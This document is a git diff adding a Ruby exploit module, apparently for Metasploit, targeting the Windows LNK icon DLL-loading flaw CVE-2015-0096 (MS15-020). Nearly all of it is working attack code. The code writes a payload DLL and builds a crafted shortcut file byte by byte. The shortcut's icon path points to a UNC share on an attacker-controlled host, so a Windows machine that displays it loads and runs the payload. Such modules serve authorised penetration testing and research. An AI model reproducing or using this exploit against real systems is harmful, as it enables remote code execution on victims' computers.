diff --git a/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb b/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb new file mode 100644 index 0000000000..2fa2c0dc67 --- /dev/null +++ b/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb @@ -0,0 +1,158 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + attr_accessor :dll_base_name + attr_accessor :exploit_dll_base_name + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Shell LNK Code Execution', + 'Description' => %q{ + This module exploits a vulnerability in the handling of Windows + Shortcut files (.LNK) that contain an icon resource pointing to a + malicious DLL. This module creates a WebDAV service that can be used + to run an arbitrary payload when accessed as a UNC path. + }, + 'Author' => + [ + 'Michael Heerklotz', # Vulnerability discovery + 'juan vazquez' # msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-0096'], + ['MSB', 'MS15-020'], + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 2048, + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Automatic', { }] + ], + 'DisclosureDate' => 'Mar 10 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']), + OptString.new('UNCHOST', [true, 'The host portion of the UNC path to provide to clients (ex: 1.2.3.4).']), + OptString.new('UNCSHARE', [true, 'The share folder portion of the UNC path to provide to clients (ex: share).']), + ], self.class) + end + + def smb_host + "\\\\#{datastore['UNCHOST']}\\#{datastore['UNCSHARE']}\\" + end + + def exploit_dll_filename + name_length = 257 - (smb_host.length + 4 + 2) + + self.dll_base_name = dll_base_name || rand_text_alpha(1) + self.exploit_dll_base_name = exploit_dll_base_name || rand_text_alpha(name_length) + + "#{dll_base_name} #{exploit_dll_base_name}.dll" + end + + def dll_filename + self.dll_base_name = dll_base_name || rand_text_alpha(1) + + "#{dll_base_name}.dll" + end + + def dll_create(data) + unless ::File.directory?(Msf::Config.local_directory) + FileUtils.mkdir_p(Msf::Config.local_directory) + end + path = File.join(Msf::Config.local_directory, dll_filename) + full_path = ::File.expand_path(path) + File.open(full_path, 'wb') { |fd| fd.write(data) } + + print_good "DLL with payload stored at #{full_path}" + end + + def exploit_dll_create(data) + unless ::File.directory?(Msf::Config.local_directory) + FileUtils.mkdir_p(Msf::Config.local_directory) + end + path = File.join(Msf::Config.local_directory, exploit_dll_filename) + full_path = ::File.expand_path(path) + File.open(full_path, 'wb') { |fd| fd.write(data) } + + print_good "Fake dll to exploit stored at #{full_path}" + end + + def exploit + dll = generate_payload_dll + dll_create(dll) + exploit_dll_create(dll) + + lnk = generate_link("#{smb_host}#{exploit_dll_filename}") + file_create(lnk) + end + + # stolen from ms10_046_shortcut_icon_dllloader, all the credits to the original authors: 'hdm', 'jduck', 'B_H' + def generate_link(unc) + uni_unc = unc.unpack('C*').pack('v*') + path = '' + path << [ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + ].pack('C*') + path << uni_unc + + # LinkHeader + ret = [ + 0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + ].pack('C*') + + idlist_data = '' + idlist_data << [0x12 + 2].pack('v') + idlist_data << [ + 0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, + 0x30, 0x9d + ].pack('C*') + idlist_data << [0x12 + 2].pack('v') + idlist_data << [ + 0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, + 0x30, 0x9d + ].pack('C*') + idlist_data << [path.length + 2].pack('v') + idlist_data << path + idlist_data << [0x00].pack('v') # TERMINAL WOO + + # LinkTargetIDList + ret << [idlist_data.length].pack('v') # IDListSize + ret << idlist_data + + # ExtraData blocks (none) + ret << [rand(4)].pack('V') + + # Patch in the LinkFlags + ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N') + + ret + end +end